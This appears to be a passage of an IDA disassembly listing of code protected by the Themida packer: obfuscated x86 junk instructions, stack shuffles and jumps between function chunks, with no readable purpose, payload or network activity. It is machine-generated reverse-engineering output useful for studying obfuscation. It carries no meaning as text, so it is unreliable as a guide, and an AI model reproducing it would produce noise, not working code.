; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5927B1: ; CODE XREF: sub_59FCCB-9741j
pop edx
jmp loc_59A6B6
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5927B7: ; CODE XREF: sub_5932F7+27B0j
add ebx, 1
jmp loc_5A4523
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5927BF: ; CODE XREF: sub_59390B+1144Ej
mov bh, 49h
sub bh, ch
pop ecx
jmp loc_5937FD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5927C9: ; CODE XREF: Themida_:0059C9C4j
push esi
mov esi, 306D2DC2h
sub esi, 120800ACh
jmp loc_59EE6C
; ---------------------------------------------------------------------------
loc_5927DA: ; CODE XREF: Themida_:005A3F32j
push ebx
pop eax
pop ebx
jmp loc_598C41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5927E2: ; CODE XREF: sub_59A75E+30Fj
push 6FC7h
push esp
pop [esp+0Ah+var_C+2]
add [esp+6+var_8+2], 4
mov ecx, [esp+6+var_8+2]
add esp, 4
jmp loc_59C704
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_592800: ; CODE XREF: Themida_:005A589Fj
pop edx
push ecx
jmp loc_59A91B
; ---------------------------------------------------------------------------
loc_592807: ; CODE XREF: Themida_:00592269j
xchg ebp, [esp]
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], esp
push 7885h
jmp loc_591337
; ---------------------------------------------------------------------------
push edx
jmp loc_59F3B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BF22
loc_592824: ; CODE XREF: sub_59BF22+44ABj
push eax
jmp loc_597B4C
; END OF FUNCTION CHUNK FOR sub_59BF22
; ---------------------------------------------------------------------------
loc_59282A: ; CODE XREF: Themida_:005A525Fj
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_5A2312
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59283A: ; CODE XREF: sub_59390B-1195j
push [esp-0Ch+arg_8]
pop edi
jmp loc_5A538B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F2FC
loc_592844: ; CODE XREF: sub_59F2FC-4FA2j
mov [esp+10h+var_10], edi
mov edi, 57C15938h
sub edi, 38BFEE9Fh
jmp loc_593A73
; END OF FUNCTION CHUNK FOR sub_59F2FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592857: ; CODE XREF: sub_59390B+28E0j
add ebp, 4
push ecx
jmp loc_59EBFE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_592863: ; CODE XREF: sub_5A2FE9-830Aj
push [esp+0Ch+var_8]
mov esi, [esp+10h+var_10]
sub esp, 4
mov [esp+14h+var_14], edx
mov edx, esp
add edx, 4
push ebx
mov ebx, 4
push ebp
mov ebp, 49334B4h
push edi
jmp loc_5A1D32
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
loc_59288D: ; CODE XREF: Themida_:005993B1j
add edi, 0B9154337h
xor eax, edi
mov edi, [esp]
add esp, 4
xor ebx, eax
push ebx
mov ebx, 57BE2E96h
sub edx, ebx
jmp loc_592633
; ---------------------------------------------------------------------------
loc_5928AD: ; CODE XREF: Themida_:00592EA2j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
jmp loc_59F9D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5928C5: ; CODE XREF: sub_59390B+B16Cj
push [esp-8+arg_4]
jmp loc_59FE2B
; ---------------------------------------------------------------------------
loc_5928CE: ; CODE XREF: sub_59390B-19A8j
add ecx, 0FFFFFFFFh
jmp loc_59FAA5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5928D9: ; CODE XREF: Themida_:005980ACj
push edx
push eax
mov al, 0E5h
sub al, 64h
push edx
mov dh, 0DFh
add dh, 92h
shl dh, 4
or dh, 4
sub dh, 0E6h
add al, dh
pop edx
jmp loc_5918C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_5928F6: ; CODE XREF: sub_5A085D+Bj
or ch, 0F4h
dec ch
shl ch, 4
shl ch, 7
jmp loc_5A2D41
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592906: ; CODE XREF: sub_59390B+F06j
mov ecx, [esp-8+arg_0]
jmp loc_59AF3E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59290E: ; CODE XREF: Themida_:0059BA05j
or ecx, edi
mov edi, [esp]
add esp, 4
shr ecx, 2
jmp loc_59388F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_592921: ; CODE XREF: sub_59CAFB+902Aj
sub eax, ebp
jmp loc_59E817
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BBA6
loc_592928: ; CODE XREF: sub_59BBA6+18j
mov ebp, ebx
jmp loc_5988B7
; END OF FUNCTION CHUNK FOR sub_59BBA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59292F: ; CODE XREF: sub_59390B+EB24j
sub eax, ebx
pop ebx
pop ebx
jmp loc_5A219C
; ---------------------------------------------------------------------------
loc_592938: ; CODE XREF: sub_59390B+EA90j
xor ebx, 70BFB305h
add ebp, ebx
pop ebx
mov ecx, ebp
pop ebp
sub esi, 1278303Ah
add esi, ecx
jmp loc_592032
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592951: ; CODE XREF: Themida_:0059FE5Ej
pop esp
push 45C6h
mov [esp], edi
push ecx
push 0F2542A7h
pop ecx
push ebx
jmp loc_5A2934
; ---------------------------------------------------------------------------
loc_592967: ; CODE XREF: Themida_:0059CE9Bj
push edx
push ebx
push 4937752h
pop ebx
and ebx, 6C0F08D3h
xor ebx, 4030056h
mov edx, ebx
pop ebx
jmp loc_597B6A
; ---------------------------------------------------------------------------
loc_592983: ; CODE XREF: Themida_:005A0BF9j
xor edx, ecx
pop ecx
shr edx, 4
xor edx, 8DB9809Ah
sub edi, edx
pop edx
jmp loc_5A3B01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592997: ; CODE XREF: sub_59390B+4539j
xchg eax, [esp-18h+arg_10]
mov esp, [esp-18h+arg_10]
mov [esp-18h+arg_10], ebx
pop eax
push 688Bh
jmp loc_5A4270
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_5929AB: ; CODE XREF: sub_590AC5+2D5Bj
mov [esp-4+arg_0], edi
push 1EA4h
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_59FEA5
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5929BF: ; CODE XREF: sub_5964AF+2CD7j
add esp, 4
sub edx, 3E2E6841h
add edx, 1
add edx, 312A6FABh
push esi
push ecx
push ebp
mov ebp, 703E15D7h
shr ebp, 3
not ebp
sub ebp, 0EB86D42Fh
mov ecx, ebp
pop ebp
jmp loc_5994C9
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5929F2: ; CODE XREF: sub_59390B+3DF0j
sub ah, dl
push [esp-18h+arg_10]
jmp loc_5A107B
; ---------------------------------------------------------------------------
loc_5929FC: ; CODE XREF: sub_59390B+B3C9j
and bl, 34h
jmp loc_596C2B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592A04: ; CODE XREF: Themida_:005992D6j
mov [esp], ebp
mov ebp, 52D53D3Ah
shl ebp, 5
sub ebp, 5AA7A704h
mov ecx, ebp
jmp loc_5992FB
; ---------------------------------------------------------------------------
loc_592A1C: ; CODE XREF: Themida_:0059DB78j
xor [esp], edx
xor edx, [esp]
jmp loc_5A384F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_592A27 proc near ; CODE XREF: sub_59390B+7828j
; FUNCTION CHUNK AT 0059BD12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A192E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A21B7 SIZE 0000000A BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5A192E
sub_592A27 endp
; ---------------------------------------------------------------------------
loc_592A38: ; CODE XREF: Themida_:00597562j
mov esp, [esp]
jmp loc_5A570F
; ---------------------------------------------------------------------------
loc_592A40: ; CODE XREF: Themida_:005A5123j
add ecx, edi
sub ecx, 34713BEFh
mov edi, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5A44AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592A59: ; CODE XREF: sub_59390B-D5Bj
sub bl, dl
pop edx
jmp loc_5A3F4C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_592A61: ; CODE XREF: sub_594A8D+10F03j
mov [esp+0Ch+var_C], ebx
mov ebx, 2B1A0F2Dh
or ebx, 73E912DFh
dec ebx
neg ebx
push ecx
jmp loc_5A4182
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592A78: ; CODE XREF: sub_59390B-975j
add ebx, edx
push esi
mov esi, 224170FDh
jmp loc_595CC9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592A85: ; CODE XREF: Themida_:00598B10j
mov [esp], eax
mov eax, 2B0721C8h
xor eax, 53F838F9h
push esi
push ebx
jmp loc_59D1E2
; ---------------------------------------------------------------------------
loc_592A99: ; CODE XREF: Themida_:005A3F28j
add eax, 1A4C23E9h
add eax, 7A91F54h
mov edx, [esp]
push ecx
jmp loc_592453
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592AAC: ; CODE XREF: sub_59390B+6B5Ej
add esp, 4
sub esp, 4
mov [esp-14h+arg_C], ecx
mov ch, 2
jmp loc_59367B
; ---------------------------------------------------------------------------
loc_592AC2: ; CODE XREF: sub_59390B+E67Dj
push edi
mov edi, 7F821E4Ah
mov esi, 7F821E4Ah
sub esi, edi
pop edi
sub esi, ebx
jmp loc_59F52E
; ---------------------------------------------------------------------------
loc_592AD7: ; CODE XREF: sub_59390B+C0B2j
add ebx, 4
jmp loc_59F65C
; ---------------------------------------------------------------------------
loc_592AE2: ; CODE XREF: sub_59390B+1D0Dj
mov [esp-14h+arg_C], esi
push [esp-14h+arg_10]
mov esi, [esp-10h+arg_8]
add esp, 4
jmp loc_59C68A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_592AF7: ; CODE XREF: sub_5A4CDD-DE94j
push eax
mov eax, 72046C61h
push ebp
mov ebp, 6F8008A1h
neg ebp
not ebp
add ebp, 1AAB29BDh
inc ebp
and ebp, 352B08F8h
push edx
mov edx, 37445B2Dh
or edx, 78C856BAh
inc edx
or edx, 327C06FFh
sub edx, 80276058h
jmp loc_59DD67
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_592B32: ; CODE XREF: sub_59A75E+9F48j
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_592B37: ; CODE XREF: Themida_:00596200j
mov ebp, ebx
jmp loc_59DD8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_592B3E: ; CODE XREF: sub_59F53F+28F4j
mov ebp, [esp+0]
add esp, 4
or ebp, 267D56AEh
push ecx
push 25120578h
pop ecx
sub ebp, ecx
pop ecx
jmp loc_599A7E
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_592B5C: ; CODE XREF: sub_5A23FB+1F69j
add ebx, 376A215Ah
add ebx, 1F374973h
sub ebx, 0AF3A3DD7h
sub edi, 3F3A45A6h
sub edi, ebx
jmp loc_59A656
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_592B7B: ; CODE XREF: Themida_:0059384Dj
sub esi, 18745651h
or esi, 9061B6h
xor esi, 309119E0h
add esi, 20CFE3D0h
sub esi, 4F655FE7h
xor esi, 19CF3227h
shl esi, 3
jmp loc_59E04C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592BA7: ; CODE XREF: sub_59390B+D533j
mov dl, 80h
not dl
dec dl
sub dl, 46h
jmp loc_592A59
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592BB5: ; CODE XREF: Themida_:00599E99j
xor edi, [esp]
pop esp
sub esp, 4
jmp loc_5A47E1
; ---------------------------------------------------------------------------
loc_592BC1: ; CODE XREF: Themida_:0059EAC3j
inc ebp
sub ebp, 3C344AC9h
push 1D93h
mov [esp], esi
mov esi, 5BF81EA5h
xor ebp, esi
pop esi
push ecx
mov ecx, 4679413Eh
shl ecx, 7
dec ecx
shr ecx, 8
jmp loc_5A4778
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_592BEA: ; CODE XREF: sub_5A17BF-10182j
push [esp+0Ch+var_C]
pop ebx
add esp, 4
mov esi, [esp+8+var_8]
add esp, 4
jmp loc_59CBBC
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_592BFC: ; CODE XREF: Themida_:0059C41Dj
shr cl, 8
sub cl, 0D1h
push edx
mov dh, 58h
and dh, 0ECh
shl dh, 7
sub dh, 0E5h
and cl, dh
pop edx
push dx
mov dh, 72h
or cl, dh
pop dx
xor cl, 0A8h
jmp loc_59C2A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_592C21: ; CODE XREF: sub_59FCCB-570Fj
mov esp, [esp+4+var_4]
inc dl
push 0D14h
mov [esp+8+var_8], eax
mov ah, 7Ch
shl ah, 7
not ah
push edx
mov dl, 37h
jmp loc_592736
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_592C3D: ; CODE XREF: Themida_:0059602Dj
add eax, ebx
sub eax, 66446838h
jmp loc_59D49E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BDD3
loc_592C49: ; CODE XREF: sub_59BDD3-6455j
sub esi, eax
pop eax
push edi
mov edi, 7BC32A49h
not edi
dec edi
push eax
jmp loc_5975AF
; END OF FUNCTION CHUNK FOR sub_59BDD3
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_592C6A: ; CODE XREF: sub_5A51EA+24Aj
shr dh, 1
push ax
mov al, 0BBh
sub dh, al
jmp loc_59AB84
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_592C77: ; CODE XREF: Themida_:0059717Dj
mov ebx, 4
add esi, ebx
pop ebx
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_59E148
; ---------------------------------------------------------------------------
loc_592C95: ; CODE XREF: Themida_:00596915j
mov cx, [esp]
add esp, 2
jmp loc_591F8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592CA1: ; CODE XREF: sub_59390B+4730j
pop edi
sub edx, esi
mov esi, [esp-18h+arg_10]
add esp, 4
xchg edx, [esp-1Ch+arg_14]
mov esp, [esp-1Ch+arg_14]
mov [esp-1Ch+arg_14], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp-18h+arg_10]
jmp loc_59BE2C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_592CCA: ; CODE XREF: sub_591FC5-1124j
pop eax
jmp loc_59D075
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_592CD0: ; CODE XREF: Themida_:00591DB9j
mov [esp], esi
mov esi, esp
jmp loc_59C40E
; ---------------------------------------------------------------------------
loc_592CDA: ; CODE XREF: Themida_:005A2EC3j
pop esi
mov ebx, [esp]
add esp, 4
push 40A6h
jmp loc_5935B6
; =============== S U B R O U T I N E =======================================
sub_592CEE proc near ; CODE XREF: sub_59FCCB-A825j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00591D4D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059AB03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0001 SIZE 00000023 BYTES
push ebx
mov bh, ch
jmp loc_59AB03
sub_592CEE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_592CF6: ; CODE XREF: Themida_:005A3FDEj
push ebp
jmp loc_59D66E
; =============== S U B R O U T I N E =======================================
sub_592CFC proc near ; CODE XREF: sub_5A51EA-79C1j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00597FD5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D72D SIZE 00000018 BYTES
push ebx
jmp loc_597FD5
sub_592CFC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_592D02: ; CODE XREF: Themida_:0059E5E8j
rol dword ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_592D0B: ; CODE XREF: Themida_:005A30B5j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
push 7F9Dh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push eax
jmp loc_59A8F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59605F
loc_592D33: ; CODE XREF: sub_59605F+67B9j
shr eax, 2
neg eax
push ebx
mov ebx, 0A3B935E0h
sub eax, ebx
pop ebx
mov [edx+30h], eax
push dword ptr [esp+0]
pop eax
push esi
mov esi, esp
push eax
mov eax, 5603533Fh
inc eax
add eax, 0A9FCACC4h
add esi, eax
pop eax
jmp loc_59FF60
; END OF FUNCTION CHUNK FOR sub_59605F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_592D5F: ; CODE XREF: sub_5964B7-1A96j
pop esi
push eax
jmp loc_59E02C
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_592D66: ; CODE XREF: sub_59A431+6F51j
xor [esp+10h+var_10], ecx
xor ecx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
mov [esp+10h+var_10], ebx
pop eax
push 7D6Eh
mov [esp+10h+var_10], ebp
sub esp, 4
jmp loc_5A0E54
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595ED9
loc_592D83: ; CODE XREF: sub_595ED9+98BDj
mov eax, [esp+0]
add esp, 4
push ebx
mov ebx, 4
add eax, ebx
pop ebx
jmp sub_59333E
; END OF FUNCTION CHUNK FOR sub_595ED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_592D97: ; CODE XREF: sub_5950DF+4A37j
mov edi, 59D6BD4h
xor ebx, edi
mov edi, [esp+0]
add esp, 4
add eax, 6BDB0949h
add eax, ebx
jmp loc_598105
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
loc_592DB0: ; CODE XREF: Themida_:00591CC5j
mov ecx, 4DE03FC6h
sub eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_5971FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592DC0: ; CODE XREF: sub_59390B+10B61j
add ebp, 4
xchg ebp, [esp-18h+arg_10]
jmp loc_59960D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_592DCB: ; CODE XREF: sub_59EA40+66Fj
push 0C49h
mov [esp+8+var_8], esi
push esp
push [esp+0Ch+var_C]
pop esi
jmp loc_59CF09
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
loc_592DDD: ; CODE XREF: Themida_:0059D356j
mov ebp, 796782Dh
xor ebp, 2F451791h
not ebp
jmp loc_591C2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_592DEF: ; CODE XREF: sub_59FCCB-CA5Cj
add bl, 63h
pop ecx
push 717Fh
mov [esp+0Ch+var_C], eax
mov ah, 0EDh
sub ah, 33h
add ah, 82h
jmp loc_5954C1
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_592E08: ; CODE XREF: sub_59CFD4-6611j
add eax, edx
pop edx
xchg eax, [esp+4+var_4]
pop esp
push 3876h
mov [esp+4+var_4], ebp
jmp loc_599BDA
; END OF FUNCTION CHUNK FOR sub_59CFD4
; =============== S U B R O U T I N E =======================================
sub_592E1C proc near ; DATA XREF: Themida_:00590A00o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00591661 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005923BD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595877 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597B10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005994BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB17 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F685 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2F2E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A58F9 SIZE 0000000C BYTES
mov ax, [esp+0]
jmp loc_591661
sub_592E1C endp
; =============== S U B R O U T I N E =======================================
sub_592E25 proc near ; CODE XREF: sub_59338E+5900j
; FUNCTION CHUNK AT 00592692 SIZE 00000006 BYTES
push ebx
mov ebx, 49421EFEh
mov eax, ebx
jmp loc_592692
sub_592E25 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_592E32: ; CODE XREF: sub_59333E+110F6j
add eax, ebx
add eax, 65D37AF1h
push [esp+4+var_4]
jmp loc_5A1055
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_592E41: ; CODE XREF: sub_5995FC-2E19j
xor al, ch
pop ecx
push 5864h
jmp loc_5A4781
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_592E4E: ; CODE XREF: Themida_:0059202Dj
mov esp, [esp]
mul cx
push 4A5h
jmp loc_591074
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595DDF
loc_592E5E: ; CODE XREF: sub_595DDF+Aj
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_595DDF
; ---------------------------------------------------------------------------
loc_592E63: ; CODE XREF: Themida_:0059AB79j
pop edx
add esi, 1F9F0905h
sub esi, edi
sub esi, 1F9F0905h
jmp loc_591359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592E77: ; CODE XREF: sub_59390B+80D5j
sub edx, 6326D6E3h
add eax, 459A7475h
sub eax, edx
sub esp, 4
mov [esp-14h+arg_C], esi
mov esi, 73DA6EC8h
jmp loc_59C842
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_5928AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592EA7: ; CODE XREF: sub_59390B+99BAj
mov edi, 4
add edx, edi
jmp loc_596D32
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_592EB3: ; CODE XREF: sub_59654E+DD5Bj
mov ecx, 73342660h
neg ecx
inc ecx
jmp loc_59BE52
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_592EC0: ; CODE XREF: Themida_:005994EFj
xor edi, 0F4EA8987h
add edx, edi
jmp loc_59B066
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592ECD: ; CODE XREF: sub_59390B+A073j
pop ecx
jmp loc_598CC8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592ED3: ; CODE XREF: Themida_:00592643j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59B199
; ---------------------------------------------------------------------------
loc_592EDE: ; CODE XREF: Themida_:0059CDC5j
mov edx, [esp]
jmp loc_59723D
; ---------------------------------------------------------------------------
loc_592EE6: ; CODE XREF: Themida_:00599B3Cj
sub esp, 4
mov [esp], esi
mov esi, 4CEB21AEh
or ebp, esi
pop esi
xor ebp, 6CEB7BFAh
add eax, 7A474299h
jmp loc_5A12ED
; ---------------------------------------------------------------------------
loc_592F04: ; CODE XREF: Themida_:0059E8A6j
push esp
pop esi
sub esp, 4
mov [esp], ebx
push edx
jmp loc_5A5555
; ---------------------------------------------------------------------------
loc_592F12: ; CODE XREF: Themida_:00594C05j
pop edx
add ebp, edi
pop edi
add ebp, 4
xor ebp, [esp]
jmp loc_59D89D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592F24: ; CODE XREF: sub_59390B+10D82j
push ecx
mov ecx, 4
jmp loc_594A26
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592F2F: ; CODE XREF: Themida_:0059A8F8j
add [esp+4], eax
pop eax
jmp loc_59E81D
; ---------------------------------------------------------------------------
loc_592F39: ; CODE XREF: Themida_:0059F72Fj
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_592F45: ; CODE XREF: sub_5A4CDD-12D98j
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
jmp loc_59B6BB
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_592F55: ; CODE XREF: Themida_:00590D3Aj
sub esp, 4
mov [esp], edx
push 36A0h
mov [esp], ebx
push 435Eh
mov [esp], edx
mov dh, al
jmp loc_59729B
; ---------------------------------------------------------------------------
loc_592F72: ; CODE XREF: Themida_:0059A1AFj
add edx, 4
add edx, 4
jmp loc_5A3226
; ---------------------------------------------------------------------------
loc_592F80: ; CODE XREF: Themida_:0059B6F1j
sub esp, 4
mov [esp], edx
mov dh, 24h
or dh, 9Eh
jmp loc_5A3573
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592F93: ; CODE XREF: sub_59390B+80C2j
sub ebx, edi
pop edi
jmp loc_592A78
; ---------------------------------------------------------------------------
loc_592F9B: ; CODE XREF: sub_59390B+BCCAj
push small 7C2Dh
mov word ptr [esp-16h+arg_C+2], dx
mov dh, 72h
sub bl, 77h
sub bl, 11h
add bl, dh
add bl, 11h
add bl, 77h
pop dx
push ax
jmp loc_591B0F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592FBC: ; CODE XREF: Themida_:0059CA59j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_594260
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592FCF: ; CODE XREF: sub_59390B+8Cj
add edi, 1FFA1316h
jmp loc_59AC0B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592FDA: ; CODE XREF: Themida_:00590C6Bj
pop ebp
add ebx, 0FDF60DFh
jmp loc_59F895
; ---------------------------------------------------------------------------
loc_592FE6: ; CODE XREF: Themida_:005A23EFj
mov [esp], edi
mov edi, 13D37933h
not edi
shr edi, 7
jmp loc_595313
; ---------------------------------------------------------------------------
mov eax, [esp]
push 1881h
mov [esp], ecx
jmp loc_593060
; ---------------------------------------------------------------------------
loc_593008: ; CODE XREF: Themida_:005A069Aj
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59F94F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_593023: ; CODE XREF: sub_59390B+A2C0j
mov cl, 53h
neg cl
push eax
jmp loc_598C0C
; ---------------------------------------------------------------------------
